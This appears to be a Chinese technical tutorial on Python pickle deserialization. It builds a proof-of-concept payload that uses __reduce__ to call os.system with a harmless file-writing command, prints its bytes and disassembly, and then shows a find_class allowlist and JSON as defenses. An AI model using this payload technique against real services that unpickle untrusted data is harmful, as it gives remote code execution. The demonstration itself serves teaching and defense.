pickle 不是「把对象变成字节」这么简单——它的字节流是一段由虚拟机执行的小程序。这篇造了一个只往当前目录写一个文件的无害载荷,亲眼看 pickle.loads 是怎么在你拿到返回值之前就跑起了它。
__reduce__ 告诉 pickle 「还原我的时候请调用这个函数」实验脚本 class Evil: def __reduce__(self): # 序列化时返回 (可调用对象, 参数元组);反序列化时 pickle 会执行 可调用对象(*参数) return (os.system, ("echo pwned > PWNED.txt",)) payload = pickle.dumps(Evil(), protocol=2) obj = pickle.loads(payload) # 谁来执行 os.system?
载荷只做一件无害的事:在当前(临时)目录写一个 PWNED.txt。真实攻击里这条命令可以换成任何东西——这里把它限制到最小,只为证明「会执行」。
payload 长度: 54 字节; repr: b'\x80\x02cposix\nsystem\nq\x00X\x16\x00\x00\x00echo pwned > PWNED.txtq\x01\x85q\x02Rq\x03.'
0: \x80 PROTO 2
2: c GLOBAL 'posix system'
16: q BINPUT 0
18: X BINUNICODE 'echo pwned > PWNED.txt'
45: q BINPUT 1
47: \x85 TUPLE1
48: q BINPUT 2
50: R REDUCE
51: q BINPUT 3
53: . STOP只有 10 条指令。核心是这三条:GLOBAL 'posix system' 按名字导入一个函数、BINUNICODE 放入命令字符串、REDUCE 调用它。载荷里出现的是 posix system,并没有 Evil 这个类名——攻击者不需要你的代码里有任何特定的类,pickle 允许通过 GLOBAL 引用任何可导入的东西。
loads 之前, 标记文件存在? False loads 之后, 标记文件存在? True | 内容: pwned loads 返回的对象: 0 int ← 不是 Evil 实例, 是 os.system 的返回值 payload 字节里含有 'Evil'(类名)? False | 含有 'system'(要调用的函数)? True
0(os.system 的退出码),你拿到的甚至不是一个 Evil 对象——所以用 isinstance 检查返回类型来防御是没用的:代码早在检查之前就执行过了。这也解释了 pickle 文档为什么反复强调「不要反序列化不可信来源的数据」:数据来源是网络、上传文件、共享缓存(比如别人也能写入的 Redis)时,等于给对方一个远程代码执行入口。
Unpickler.find_classSafe.load(payload) → UnpicklingError: 禁止加载 posix.system
标记文件被创建了吗? False
正常数据 Safe.load → [1, 2, {'a': 3}]所有「按名字导入」都要经过 find_class,把它改成只放行明确列出的类型,恶意载荷在 GLOBAL 这一步就被拒了:posix.system 被拒绝,标记文件没有被创建,而正常的 [1, 2, {'a': 3}] 照常还原。这里用的是 allowlist(只允许白名单),不是 denylist——黑名单永远漏得掉,因为可导入的东西太多。就算这样,也只应当用在「格式受你控制但需要防御一层」的场景;来源不可信时,直接换成不会执行代码的格式。
json.loads(payload) → JSONDecodeError
json.loads('{"a": [1, 2]}') → {'a': [1, 2]}同一串字节交给 json.loads,得到的只是解析错误;JSON 只能表示数据(对象、数组、字符串、数字),没有「调用函数」这个概念。代价是它表示不了任意 Python 对象(自定义类、集合、元组会变形),需要自己定义转换——这是安全的代价,也是刻意的。
pickletools.dis 的原始输出,栈是纯 Python 版 pickle._Unpickler 每执行一条 opcode 后的真实内容pickle、pickletools;载荷只写一个临时目录里的 PWNED.txt__setstate__ 等其他触发路径、C 版 Unpickler 与纯 Python 版在 find_class 上的完全等价性(演示用的是纯 Python 版,防御实验用的是默认版)